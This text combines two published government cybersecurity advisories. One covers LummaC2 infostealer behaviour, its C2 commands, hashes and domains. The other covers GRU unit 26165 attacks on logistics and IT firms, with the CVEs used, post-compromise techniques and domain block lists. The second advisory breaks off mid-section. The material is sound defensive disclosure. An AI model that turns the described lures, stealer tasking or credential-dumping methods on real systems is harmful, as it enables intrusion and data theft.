LummaC2 malware first appeared for sale on multiple Russian-language speaking cybercriminal forums in 2022. Threat actors frequently use spearphishing hyperlinks and attachments to deploy LummaC2 malware payloads [T1566.001, T1566.002]. Additionally, threat actors rely on unsuspecting users to execute the payload by clicking a fake Completely Automated Public Turing Test to tell Computers and Humans Apart (CAPTCHA). The CAPTCHA contains instructions for users to then open the Windows Run window (Windows Button + R) and paste clipboard contents (“CTRL + V”). After users press “enter” a subsequent Base64-encoded PowerShell process is executed.

To obfuscate their operations, threat actors have embedded and distributed LummaC2 malware within spoofed or fake popular software (i.e., multimedia player or utility software) [T1036]. The malware’s obfuscation methods allow LummaC2 actors to bypass standard cybersecurity measures, such as Endpoint Detection and Response (EDR) solutions or antivirus programs, designed to flag common phishing attempts or drive-by downloads [T1027].

Once a victim’s computer system is infected, the malware can exfiltrate sensitive user information, including personally identifiable information, financial credentials, cryptocurrency wallets, browser extensions, and multifactor authentication (MFA) details without immediate detection [TA0010, T1119]. Private sector statistics indicate there were more than 21,000 market listings selling LummaC2 logs on multiple cybercriminal forums from April through June of 2024, a 71.7 percent increase from April through June of 2023.

File Execution

Upon execution, the LummaC2.exe file will enter its main routine, which includes four sub-routines (see Figure 1).

The first routine decrypts strings for a message box that is displayed to the user (see Figure 2).

If the user selects No, the malware will exit. If the user selects Yes, the malware will move on to its next routine, which decrypts its callback Command and Control (C2) domains [T1140]. A list of observed domains is included in the Indicators of Compromise section.

After each domain is decoded, the implant will attempt a POST request [T1071.001] (see Figure 3).

If the POST request is successful, a pointer to the decoded domain string is saved in a global variable for later use in the main C2 routine used to retrieve JSON formatted commands (see Figure 4).

Once a valid C2 domain is contacted and saved, the malware moves on to the next routine, which queries the user’s name and computer name utilizing the Application Programming Interfaces (APIs) GetUserNameW and GetComputerNameW respectively [T1012]. The returned data is then hashed and compared against a hard-coded hash value (see Figure 5).

The hashing routine was not identified as a standard algorithm; however, it is a simple routine that converts a Unicode string to a 32-bit hexadecimal value.

If the username hash is equal to the value 0x56CF7626, then the computer name is queried. If the computer name queried is seven characters long, then the name is hashed and checked against the hard-coded value of 0xB09406C7. If both values match, a final subroutine will be called with a static value of the computer name hash as an argument. If this routine is reached, the process will terminate. This is most likely a failsafe to prevent the malware from running on the attacker’s system, as its algorithms are one-way only and will not reveal information on the details of the attacker’s own hostname and username.

If the username and hostname check function returns zero (does not match the hard-coded values), the malware will enter its main callback routine. The LummaC2 malware will contact the saved hostname from the previous check and send the following POST request (see Figure 6).

The data returned from the C2 server is encrypted. Once decoded, the C2 data is in a JSON format and is parsed by the LummaC2 malware. The C2 uses the JSON configuration to parse its browser extensions and target lists using the ex key, which contains an array of objects (see Figure 7).

Parsing the c key contains an array of objects, which will give the implant its C2 (see Figure 8).

C2 Instructions

Each array object that contains the JSON key value of t will be evaluated as a command opcode, resulting in the C2 instructions in the subsections below.

1. Opcode 0 – Steal Data Generic

This command allows five fields to be defined when stealing data, offering the most flexibility. The Opcode O command option allows LummaC2 affiliates to add their custom information gathering details (see Table 1).

Table 2. Opcode 1 Options

Key	Value
p	Path to steal from
m	File extensions to read
z	Output directory to store stolen data
d	Depth of recursiveness
fs	Maximum file size

2. Opcode 1 – Steal Browser Data

This command only allows for two options: a path and the name of the output directory. This command, based on sample configuration downloads, is used for browser data theft for everything except Mozilla [T1217] (see Table 2).

Table 2. Opcode 1 Options

Key	Value
p	Path to steal from
z	Name of Browser – Output

3. Opcode 2 – Steal Browser Data (Mozilla)

This command is identical to Opcode 1; however, this option seems to be utilized solely for Mozilla browser data (see Table 3).

Table 3. Opcode 2 Options

Key	Value
p	Path to steal from
z	Name of Browser – Output

4. Opcode 3 – Download a File

This command contains three options: a URL, file extension, and execution type. The configuration can specify a remote file with u to download and create the extension specified in the ft key [T1105] (see Table 4).

Table 4. Opcode 3 Options

Key	Value
u	URL for Download
ft	File Extension
e	Execution Type

The e value can take two values: 0 or 1. This specifies how to execute the downloaded file either with the LoadLibrary API or via the command line with rundll32.exe [T1106] (see Table 5).

Table 5. Execution Types

Key	Value
e=0	Execute with LoadLibraryW()
e=1	Executive with rund1132.exe

5. Take Screenshot

If the configuration JSON file has a key of “se” and its value is “true,” the malware will take a screenshot in BMP format and upload it to the C2 server.

6. Delete Self

If the configuration JSON file has a key of “ad” and its value is “true,” the malware will enter a routine to delete itself.

The command shown in Figure 9 will be decoded and executed for self-deletion.

Figure 10 depicts the above command line during execution.

Host Modifications

Without any C2 interactions, the LummaC2 malware does not create any files on the infected drive. It simply runs in memory, gathers system information, and exfiltrates it to the C2 server [T1082]. The commands returned from the C2 server could indicate that it drops additional files and/or saves data to files on the local hard drive. This is variable, as these commands come from the C2 server and are mutable.

Decrypted Strings

Below is a list of hard-coded decrypted strings located in the binary (see Figure 11).

Indicators of Compromise

See Table 6 and Table 7 for LummaC2 IOCs obtained by the FBI and trusted third parties.

Disclaimer: The authoring agencies recommend organizations investigate and vet these indicators of compromise prior to taking action, such as blocking.

Table 6. LummaC2 Executable Hashes

Executables	Type
4AFDC05708B8B39C82E60ABE3ACE55DB (LummaC2.exe from November 2023)	MD5
E05DF8EE759E2C955ACC8D8A47A08F42 (LummaC2.exe from November 2023)	MD5
C7610AE28655D6C1BCE88B5D09624FEF	MD5
1239288A5876C09D9F0A67BCFD645735168A7C80 (LummaC2.exe from November 2023)	SHA1
B66DA4280C6D72ADCC68330F6BD793DF56A853CB (LummaC2.exe from November 2023)	SHA1
3B267FA5E1D1B18411C22E97B367258986E871E5	TLSH
19CC41A0A056E503CC2137E19E952814FBDF14F8D83F799AEA9B96ABFF11EFBB (November 2023)	SHA256
2F31D00FEEFE181F2D8B69033B382462FF19C35367753E6906ED80F815A7924F (LummaC2.exe from November 2023)	SHA256
4D74F8E12FF69318BE5EB383B4E56178817E84E83D3607213160276A7328AB5D	SHA256
325daeb781f3416a383343820064c8e98f2e31753cd71d76a886fe0dbb4fe59a	SHA256
76e4962b8ccd2e6fd6972d9c3264ccb6738ddb16066588dfcb223222aaa88f3c	SHA256
7a35008a1a1ae3d093703c3a34a21993409af42eb61161aad1b6ae4afa8bbb70	SHA256
a9e9d7770ff948bb65c0db24431f75dd934a803181afa22b6b014fac9a162dab	SHA256
b287c0bc239b434b90eef01bcbd00ff48192b7cbeb540e568b8cdcdc26f90959	SHA256
ca47c8710c4ffb4908a42bd986b14cddcca39e30bb0b11ed5ca16fe8922a468b	SHA256

Table 7. LummaC2 DLL Binaries

DLL Binaries	Type
iphlpapi.dll	IP Helper API
winhttp.dll	Windows HTTP Services

The following are domains observed deploying LummaC2 malware.

Disclaimer: The domains below are historical in nature and may not currently be malicious.

• Pinkipinevazzey[.]pw
• Fragnantbui[.]shop
• Medicinebuckerrysa[.]pw
• Musicallyageop[.]pw
• stogeneratmns[.]shop
• wallkedsleeoi[.]shop
• Tirechinecarpet[.]pw
• reinforcenh[.]shop
• reliabledmwqj[.]shop
• Musclefarelongea[.]pw
• Forbidstow[.]site
• gutterydhowi[.]shop
• Fanlumpactiras[.]pw
• Computeryrati[.]site
• Contemteny[.]site
• Ownerbuffersuperw[.]pw
• Seallysl[.]site
• Dilemmadu[.]site
• Freckletropsao[.]pw
• Opposezmny[.]site
• Faulteyotk[.]site
• Hemispheredodnkkl[.]pw
• Goalyfeastz[.]site
• Authorizev[.]site
• ghostreedmnu[.]shop
• Servicedny[.]site
• blast-hubs[.]com
• offensivedzvju[.]shop
• friendseforever[.]help
• blastikcn[.]com
• vozmeatillu[.]shop
• shiningrstars[.]help
• penetratebatt[.]pw
• drawzhotdog[.]shop
• mercharena[.]biz
• pasteflawwed[.]world
• generalmills[.]pro
• citywand[.]live
• hoyoverse[.]blog
• nestlecompany[.]pro
• esccapewz[.]run
• dsfljsdfjewf[.]info
• naturewsounds[.]help
• travewlio[.]shop
• decreaserid[.]world
• stormlegue[.]com
• touvrlane[.]bet
• governoagoal[.]pw
• paleboreei[.]biz
• calmingtefxtures[.]run
• foresctwhispers[.]top
• tracnquilforest[.]life
• sighbtseeing[.]shop
• advennture[.]top
• collapimga[.]fun
• holidamyup[.]today
• pepperiop[.]digital
• seizedsentec[.]online
• triplooqp[.]world
• easyfwdr[.]digital
• strawpeasaen[.]fun
• xayfarer[.]live
• jrxsafer[.]top
• quietswtreams[.]life
• oreheatq[.]live
• plantainklj[.]run
• starrynsightsky[.]icu
• castmaxw[.]run
• puerrogfh[.]live
• earthsymphzony[.]today
• weldorae[.]digital
• quavabvc[.]top
• citydisco[.]bet
• steelixr[.]live
• furthert[.]run
• featureccus[.]shop
• smeltingt[.]run
• targett[.]top
• mrodularmall[.]top
• ferromny[.]digital
• ywmedici[.]top
• jowinjoinery[.]icu
• rodformi[.]run
• legenassedk[.]top
• htardwarehu[.]icu
• metalsyo[.]digital
• ironloxp[.]live
• cjlaspcorne[.]icu
• navstarx[.]shop
• bugildbett[.]top
• latchclan[.]shop
• spacedbv[.]world
• starcloc[.]bet
• rambutanvcx[.]run
• galxnetb[.]today
• pomelohgj[.]top
• scenarisacri[.]top
• jawdedmirror[.]run
• changeaie[.]top
• lonfgshadow[.]live
• liftally[.]top
• nighetwhisper[.]top
• salaccgfa[.]top
• zestmodp[.]top
• owlflright[.]digital
• clarmodq[.]top
• piratetwrath[.]run
• hemispherexz[.]top
• quilltayle[.]live
• equatorf[.]run
• latitudert[.]live
• longitudde[.]digital
• climatologfy[.]top
• starofliught[.]top

MITRE ATT&CK Tactics and Techniques

See Table 8 through Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 8. Initial Access

Technique Title	ID	Use
Phishing	T1566	Threat actors delivered LummaC2 malware through phishing emails.
Phishing: Spearphishing Attachment	T1566.001	Threat actors used spearphishing attachments to deploy LummaC2 malware payloads.
Phishing: Spearphishing Link	T1566.002	Threat actors used spearphishing hyperlinks to deploy LummaC2 malware payloads.

Table 9. Defense Evasion

Technique Title	ID	Use
Obfuscated Files or Information	T1027	Threat actors obfuscated the malware to bypass standard cybersecurity measures designed to flag common phishing attempts or drive-by downloads.
Masquerading	T1036	Threat actors delivered LummaC2 malware via spoofed software.
Deobfuscate/Decode Files or Information	T1140	Threat actors used LummaC2 malware to decrypt its callback C2 domains.

Table 10. Discovery

Technique Title	ID	Use
Query Registry	T1012	Threat actors used LummaC2 malware to query the user’s name and computer name utilizing the APIs GetUserNameW and GetComputerNameW.
Browser Information Discovery	T1217	Threat actors used LummaC2 malware to steal browser data.

Table 11. Collection

Technique Title	ID	Use
Automated Collection	T1119	LummaC2 malware has automated collection of various information including cryptocurrency wallet details.

Table 12. Command and Control

Technique Title	ID	Use
Application Layer Protocol: Web Protocols	T1071.001	Threat actors used LummaC2 malware to attempt POST requests.
Ingress Tool Transfer	T1105	Threat actors used LummaC2 malware to transfer a remote file to compromised systems.

Table 13. Exfiltration

Technique Title	ID	Use
Exfiltration	TA0010	Threat actors used LummaC2 malware to exfiltrate sensitive user information, including traditional credentials, cryptocurrency wallets, browser extensions, and MFA details without immediate detection.
Native API	T1106	Threat actors used LummaC2 malware to download files with native OS APIs.

Mitigations

The FBI and CISA recommend organizations implement the mitigations below to reduce the risk of compromise by LummaC2 malware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

• Separate User and Privileged Accounts: Allow only necessary users and applications access to the registry [CPG 2.E].
• Monitor and detect suspicious behavior during exploitation [CPG 3.A].
  • Monitor and detect suspicious behavior, creation and termination events, and unusual and unexpected processes running.
  • Monitor API calls that may attempt to retrieve system information.
  • Analyze behavior patterns from process activities to identify anomalies.
  • For more information, visit CISA’s guidance on: Enhanced Visibility and Hardening Guidance for Communications Infrastructure.
• Implement application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Protect against threat actor phishing campaigns by implementing CISA’s Phishing Guidance and Phishing-resistant multifactor authentication. [CPG 2.H]
• Log Collection: Regularly monitoring and reviewing registry changes and access logs can support detection of LummaC2 malware [CPG 2.T].
• Implement authentication, authorization, and accounting (AAA) systems [M1018] to limit actions users can perform and review logs of user actions to detect unauthorized use and abuse. Apply principles of least privilege to user accounts and groups, allowing only the performance of authorized actions.
• Audit user accounts and revoke credentials for departing employees, removing those that are inactive or unnecessary on a routine basis [CPG 2.D]. Limit the ability for user accounts to create additional accounts.
• Keep systems up to date with regular updates, patches, hot fixes, and service packs that may minimize vulnerabilities. Learn more by visiting CISA’s webpage: Secure our World Update Software.
• Secure network devices to restrict command line access.
  • Learn more about defending against the malicious use of remote access software by visiting CISA’s Guide to Securing Remote Access Software.
• Use segmentation to prevent access to sensitive systems and information, possibly with the use of Demilitarized Zone (DMZ) or virtual private cloud (VPC) instances to isolate systems [CPG 2.F].
• Monitor and detect API usage, looking for unusual or malicious behavior.

Validate Security Controls

In addition to applying mitigations, the FBI and CISA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The FBI and CISA recommend testing your existing security controls inventory to assess performance against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 8 through Table 13).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Reporting

Your organization has no obligation to respond or provide information to the FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include the status and scope of infection, estimated loss, date of infection, date detected, initial attack vector, and host- and network-based indicators.

To report information, please contact the FBI’s Internet Crime Complaint Center (IC3), your local FBI field office, or CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by the FBI and CISA.

Acknowledgements

ReliaQuest contributed to this advisory.

Version History

May 21, 2025: Initial version.

Source: US-CERT Alerts

This joint cybersecurity advisory (CSA) highlights a Russian state-sponsored cyber campaign targeting Western logistics entities and technology companies. This includes those involved in the coordination, transport, and delivery of foreign assistance to Ukraine. Since 2022, Western logistics entities and IT companies have faced an elevated risk of targeting by the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (85th GTsSS), military unit 26165—tracked in the cybersecurity community under several names (see “Cybersecurity Industry Tracking”). The actors’ cyber espionage-oriented campaign, targeting technology companies and logistics entities, uses a mix of previously disclosed tactics, techniques, and procedures (TTPs). The authoring agencies expect similar targeting and TTP use to continue.

Executives and network defenders at logistics entities and technology companies should recognize the elevated threat of unit 26165 targeting, increase monitoring and threat hunting for known TTPs and indicators of compromise (IOCs), and posture network defenses with a presumption of targeting.

This cyber espionage-oriented campaign targeting logistics entities and technology companies uses a mix of previously disclosed TTPs and is likely connected to these actors’ wide scale targeting of IP cameras in Ukraine and bordering NATO nations.

The following authors and co-sealers are releasing this CSA:

• United States National Security Agency (NSA)
• United States Federal Bureau of Investigation (FBI)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• Germany Federal Intelligence Service (BND) Bundesnachrichtendienst
• Germany Federal Office for Information Security (BSI) Bundesamt für Sicherheit in der Informationstechnik
• Germany Federal Office for the Protection of the Constitution (BfV) Bundesamt für Verfassungsschutz
• Czech Republic Military Intelligence (VZ)  Vojenské zpravodajství
• Czech Republic National Cyber and Information Security Agency (NÚKIB) Národní úřad pro kybernetickou a informační bezpečnost
• Czech Republic Security Information Service (BIS) Bezpečnostní informační služba
• Poland Internal Security Agency (ABW) Agencja Bezpieczeństwa Wewnętrznego
• Poland Military Counterintelligence Service (SKW) Służba Kontrwywiadu Wojskowego
• United States Cybersecurity and Infrastructure Security Agency (CISA)
• United States Department of Defense Cyber Crime Center (DC3)
• United States Cyber Command (USCYBERCOM)
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Canadian Centre for Cyber Security (CCCS)
• Danish Defence Intelligence Service (DDIS) Forsvarets Efterretningstjeneste
• Estonian Foreign Intelligence Service (EFIS) Välisluureamet
• Estonian National Cyber Security Centre (NCSC-EE) Küberturvalisuse keskus
• French Cybersecurity Agency (ANSSI) Agence nationale de la sécurité des systèmes d’information
• Netherlands Defence Intelligence and Security Service (MIVD) Militaire Inlichtingen- en Veiligheidsdienst
   

Download the PDF version of this report:

• Russian GRU Targeting Western Logistics Entities and Technology Companies (PDF, 1,081KB)

For a downloadable list of IOCs, visit:

Introduction

For over two years, the Russian GRU 85th GTsSS, military unit 26165—commonly known in the cybersecurity community as APT28, Fancy Bear, Forest Blizzard, BlueDelta, and a variety of other identifiers—has conducted this campaign using a mix of known tactics, techniques, and procedures (TTPs), including reconstituted password spraying capabilities, spearphishing, and modification of Microsoft Exchange mailbox permissions.

In late February 2022, multiple Russian state-sponsored cyber actors increased the variety of cyber operations for purposes of espionage, destruction, and influence—with unit 26165 predominately involved in espionage. [1] As Russian military forces failed to meet their military objectives and Western countries provided aid to support Ukraine’s territorial defense, unit 26165 expanded its targeting of logistics entities and technology companies involved in the delivery of aid. These actors have also targeted Internet-connected cameras at Ukrainian border crossings to monitor and track aid shipments.

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 17. See Appendix A: MITRE ATT&CK tactics and techniques for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. This advisory uses the MITRE D3FEND® framework, version 1.0.

Description of Targets

The GRU unit 26165 cyber campaign against Western logistics providers and technology companies has targeted dozens of entities, including government organizations and private/commercial entities across virtually all transportation modes: air, sea, and rail. These actors have targeted entities associated with the following verticals within NATO member states, Ukraine, and at international organizations: 

•  Defense Industry
• Transportation and Transportation Hubs (ports, airports, etc.)
• Maritime
• Air Traffic Management
• IT Services

In the course of the targeting lifecycle, unit 26165 actors identified and conducted follow-on targeting of additional entities in the transportation sector that had business ties to the primary target, exploiting trust relationships to attempt to gain additional access [T1199].

The actors also conducted reconnaissance on at least one entity involved in the production of industrial control system (ICS) components for railway management, though a successful compromise was not confirmed [TA0043].

The countries with targeted entities include the following, as illustrated in Figure 1:

• Bulgaria
• Czech Republic
• France
• Germany
• Greece
• Italy
• Moldova
• Netherlands
• Poland
• Romania
• Slovakia
• Ukraine
• United States
   

Initial Access TTPs

To gain initial access to targeted entities, unit 26165 actors used several techniques to gain initial access to targeted entities, including (but not limited to):

• Credential guessing [T1110.001] / brute force [T1110.003]
• Spearphishing for credentials [T1566]
• Spearphishing delivering malware [T1566]
• Outlook NTLM vulnerability (CVE-2023-23397)
• Roundcube vulnerabilities (CVE-2020-12641, CVE-2020-35730, CVE-2021-44026)
• Exploitation of Internet-facing infrastructure, including corporate VPNs [T1133], via public vulnerabilities and SQL injection [T1190]
• Exploitation of WinRAR vulnerability (CVE-2023-38831)

The actors abused vulnerabilities associated with a range of brands and models of small office/home office (SOHO) devices to facilitate covert cyber operations, as well as proxy malicious activity via devices with geolocation in proximity to the target [T1665]. [2]

Credential Guessing/Brute Force

Unit 26165 actors’ credential guessing [T1110.001] operations in this campaign exhibit some similar characteristics to those disclosed in the previous CSA “Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments.” [3] Based on victim network investigations, the current iteration of this TTP employs a similar blend of anonymization infrastructure, including the use of Tor and commercial VPNs [T1090.003]. The actors frequently rotated the IP addresses used to further hamper detection. All observed connections were made via encrypted TLS [T1573]. 

Spearphishing

GRU unit 26165 actors’ spearphishing emails included links [T1566.002] leading to fake login pages impersonating a variety of government entities and Western cloud email providers’ webpages. These webpages were typically hosted on free third-party services or compromised SOHO devices and often used legitimate documents associated with thematically similar entities as lures. The subjects of spearphishing emails were diverse and ranged from professional topics to adult themes. Phishing emails were frequently sent via compromised accounts or free webmail accounts [T1586.002, T1586.003]. The emails were typically written in the target’s native language and sent to a single targeted recipient. 

Some campaigns employed multi-stage redirectors [T1104] verifying IP-geolocation [T1627.001] and browser fingerprints [T1627] to protect credential harvesting infrastructure or provide multifactor authentication (MFA) [T1111] and CAPTCHA relaying capabilities [T1056]. Connecting endpoints failing the location checks were redirected to a benign URL [T1627], such as msn.com. Redirector services used include:

• Webhook[.]site
• FrgeIO
• InfinityFree
• Dynu
• Mocky
• Pipedream
• Mockbin[.]org

The actors also used spearphishing to deliver malware (including HEADLACE and MASEPIE) executables [T1204.002] delivered via third-party services and redirectors [T1566.002], scripts in a mix of languages [T1059] (including BAT [T1059.003] and VBScript [T1059.005]) and links to hosted shortcuts [T1204.001].

CVE Usage

Throughout this campaign, GRU unit 26165 weaponized an Outlook NTLM vulnerability (CVE-2023-23397) to collect NTLM hashes and credentials via specially crafted Outlook calendar appointment invitations [T1187]. [4],[5] These actors also used a series of Roundcube CVEs (CVE-2020-12641, CVE-2020-35730, and CVE-2021-44026) to execute arbitrary shell commands [T1059], gain access to victim email accounts, and retrieve sensitive data from email servers [T1114].

Since at least fall 2023, the actors leveraged a WinRAR vulnerability (CVE-2023-38831) allowing for the execution of arbitrary code embedded in an archive as a means of initial access [T1659]. The actors sent emails with malicious attachments [T1566.001] or embedded hyperlinks [T1566.002] that downloaded a malicious archive prepared using this CVE. 

Post-Compromise TTPs

After an initial compromise using one of the above techniques, unit 26165 actors conducted contact information reconnaissance to identify additional targets in key positions [T1589.002]. The actors also conducted reconnaissance of the cybersecurity department [T1591], individuals responsible for coordinating transport [T1591.004], and other companies cooperating with the victim entity [T1591.002].

The actors used native commands and open source tools, such as Impacket and PsExec, to move laterally within the environment [TA0008]. Multiple Impacket scripts were used as .exe files, in addition to the python versions, depending on the victim environment. The actors also moved laterally within the network using Remote Desktop Protocol (RDP) [T1021.001] to access additional hosts and attempt to dump Active Directory NTDS.dit domain databases [T1003.003] using native Active Directory Domain Services commands, such as in Figure 2: Example Active Directory Domain Services command:

Additionally, GRU unit 26165 actors used the tools Certipy and ADExplorer.exe to exfiltrate information from the Active Directory. The actors installed python [T1059.006] on infected machines to enable the execution of Certipy. Accessed files were archived in .zip files prior to exfiltration [T1560]. The actors attempted to exfiltrate archived data via a previously dropped OpenSSH binary [T1048].

Incident response investigations revealed that the actors would take steps to locate and exfiltrate lists of Office 365 users and set up sustained email collection. The actors used manipulation of mailbox permissions [T1098.002] to establish sustained email collection at compromised logistics entities, as detailed in a Polish Cybercommand blog. [6]

After initial authentication, unit 26165 actors would change accounts’ folder permissions and enroll compromised accounts in MFA mechanisms to increase the trust-level of compromised accounts and enable sustained access [T1556.006]. The actors leveraged python scripts to retrieve plaintext passwords via Group Policy Preferences [T1552.006] using Get-GPPPassword.py and a modified ldap-dump.py to enumerate the Windows environment [T1087.002] and conduct a brute force password spray [T1110.003] via Lightweight Directory Access Protocol (LDAP). The actors would additionally delete event logs through the wevtutil utility [T1070.001].

After gaining initial access to the network, the actors pursued further access to accounts with access to sensitive information on shipments, such as train schedules and shipping manifests. These accounts contained information on aid shipments to Ukraine, including: 

• sender,
• recipient,
• train/plane/ship numbers,
• point of departure,
• destination,
• container registration numbers,
• travel route, and
• cargo contents. 

In at least one instance, the actors attempted to use voice phishing [T1566.004] to gain access to privileged accounts by impersonating IT staff.

Malware

Unit 26165’s use of malware in this campaign ranged from gaining initial access to establishing persistence and exfiltrating data. In some cases, the attack chain resulted in multiple pieces of malware being deployed in succession. The actors used dynamic link library (DLL) search order hijacking [T1574.001] to facilitate malware execution. There were a number of known malware variants tied to this campaign against logistics sector victims, including:

• HEADLACE [7]
• MASEPIE [8]

While other malware variants, such as OCEANMAP and STEELHOOK, [8] were not directly observed targeting logistics or IT entities, their deployment against victims in other sectors in Ukraine and other Western countries suggest that they could be deployed against logistics and IT entities should the need arise. 

Persistence

In addition to the abovementioned mailbox permissions abuse, unit 26165 actors also used scheduled tasks [T1053.005], run keys [T1547.001], and placed malicious shortcuts [T1547.009] in the startup folder to establish persistence. 

Exfiltration

GRU unit 26165 actors used a variety of methods for data exfiltration that varied based on the victim environment, including both malware and living off the land binaries. PowerShell commands [T1059.001] were often used to prepare data for exfiltration; for example, the actors prepared zip archives [T1560.001] for upload to their own infrastructure. 

The actors also used server data exchange protocols and Application Programming Interfaces (APIs) such as Exchange Web Services (EWS) and Internet Message Access Protocol (IMAP) [T1114.002] to exfiltrate data from email servers. In multiple instances, the actors used periodic EWS queries [T1119] to collect new emails sent and received since the last data exfiltration [T1029]. The actors typically used infrastructure in close geographic proximity to the victim. Long gaps between exfiltration, the use of trusted and legitimate protocols, and the use of local infrastructure allowed for long-term collection of sensitive data to go undetected. 

Connections to Targeting of IP Cameras

In addition to targeting logistics entities, unit 26165 actors likely used access to private cameras at key locations, such as near border crossings, military installations, and rail stations, to track the movement of materials into Ukraine. The actors also used legitimate municipal services, such as traffic cams. 

The actors targeted Real Time Streaming Protocol (RTSP) servers hosting IP cameras primarily located in Ukraine as early as March 2022 in a large-scale campaign, which included attempts to enumerate devices [T1592] and gain access to the cameras’ feeds [T1125]. Actor-controlled servers sent RTSP DESCRIBE requests destined for RTSP servers, primarily hosting IP cameras [T1090.002]. The DESCRIBE requests were crafted to obtain access to IP cameras located on logically distinct networks from that of the routers that received the request. The requests included Base64-encoded credentials for the RTSP server, which included publicly documented default credentials and likely generic attempts to brute force access to the devices [T1110]. An example of an RTSP request is shown in Figure 3.

Mitigation Actions

General Security Mitigations

Architecture and Configuration

• Employ appropriate network segmentation [D3-NI] and restrictions to limit access and utilize additional attributes (such as device information, environment, and access path) when making access decisions [D3-AMED].
  • Consider Zero Trust principles when designing systems. Base product choices on how those products can solve specific risks identified as part of the end-to-end design. [9]
• Ensure that host firewalls and network security appliances (e.g., firewalls) are configured to only allow legitimately needed data flows between devices and servers to prevent lateral movement [D3-ITF]. Alert on attempts to connect laterally between host devices or other unusual data flows.
• Use automated tools to audit access logs for security concerns and identify anomalous access requests [D3-RAPA].
• For organizations using on-premises authentication and email services, block and alert on NTLM/SMB requests to external infrastructure [D3-OTF].
• Utilize endpoint, detection, and response (EDR) and other cybersecurity solutions on all systems, prioritizing high value systems with large amounts of sensitive data such as mail servers and domain controllers [D3-PM] first.
  • Perform threat and attack modeling to understand how sensitive systems may be compromised within an organization’s specific architecture and security controls. Use this to develop a monitoring strategy to detect compromise attempts and select appropriate products to enact this strategy.
• Collect and monitor Windows logs for certain events, especially for events that indicate that a log was cleared unexpectedly [D3-SFA].
• Enable optional security features in Windows to harden endpoints and mitigate initial access techniques [D3-AH]:
  • Enable attack surface reduction rules to prevent executable content from email [D3-ABPI].
  • Enable attack surface reduction rules to prevent execution of files from globally writeable directories, such as Downloads or %APPDATA% [D3-EAL].
  • Unless users are involved in the development of scripts, limit the local execution of scripts (such as batch scripts, VBScript, JScript/JavaScript, and PowerShell [10]) to known scripts [D3-EI], and audit execution attempts.
  • Disable Windows Host Scripting functionality and configure PowerShell to run in Constrained mode [D3-ACH].
• Where feasible, implement allowlisting for applications and scripts to limit execution to only those needed for authorized activities, blocking all others by default [D3-EAL].
• Consider using open source SIGMA rules as a baseline for detecting and alerting on suspicious file execution or command parameters [D3-PSA].
• Use services that provide enhanced browsing services and safe link checking [D3-URA]. Significant reductions in successful spearphishing attempts were noted when email providers began offering link checking and automatic file detonation to block malicious content.
• Where possible, block logins from public VPNs, including exit nodes in the same country as target systems, or, if they need to be allowed, alert on them for further investigation. Most organizations should not need to allow incoming traffic, especially logins to systems, from VPN services [D3-NAM].
• Educate users to only use approved corporate systems for relevant government and military business and avoid the use of personal accounts on cloud email providers to conduct official business. Network administrators should also audit both email and web request logs to detect such activity.

Many organizations may not need to allow outgoing traffic to hosting and API mocking services, which are frequently used by GRU unit 26165. Organizations should consider alerting on or blocking the following services, with exceptions allowlisted for legitimate activity [D3-DNSDL].

• *.000[.]pe
• *.1cooldns[.]com
• *.42web[.]io
• *.4cloud[.]click
• *.accesscan[.]org
• *.bumbleshrimp[.]com
• *.camdvr[.]org
• *.casacam[.]net
• *.ddnsfree[.]com
• *.ddnsgeek[.]com
• *.ddnsguru[.]com
• *.dynuddns[.]com
• *.dynuddns[.]net
• *.free[.]nf
• *.freeddns[.]org
• *.frge[.]io
• *.glize[.]com
• *.great-site[.]net
• *.infinityfreeapp[.]com
• *.kesug[.]com
• *.loseyourip[.]com
• *.lovestoblog[.]com
• *.mockbin[.]io
• *.mockbin[.]org
• *.mocky[.]io
• *.mybiolink[.]io
• *.mysynology[.]net
• *.mywire[.]org
• *.ngrok[.]io
• *.ooguy[.]com
• *.pipedream[.]net
• *.rf[.]gd
• *.urlbae[.]com
• *.webhook[.]site
• *.webhookapp[.]com
• *.webredirect[.]org
• *.wuaze[.]com

Heuristic detections for web requests to new subdomains, including of the above providers, may uncover malicious phishing activity [D3-DNRA]. Logging the requests for each sub-domain requested by users on a network, such as in DNS or firewall logs, may enable system administrators to identify new targeting and victims.

Identity and Access Management

Organizations should take measures to ensure strong access controls and mitigate against common credential theft techniques: 

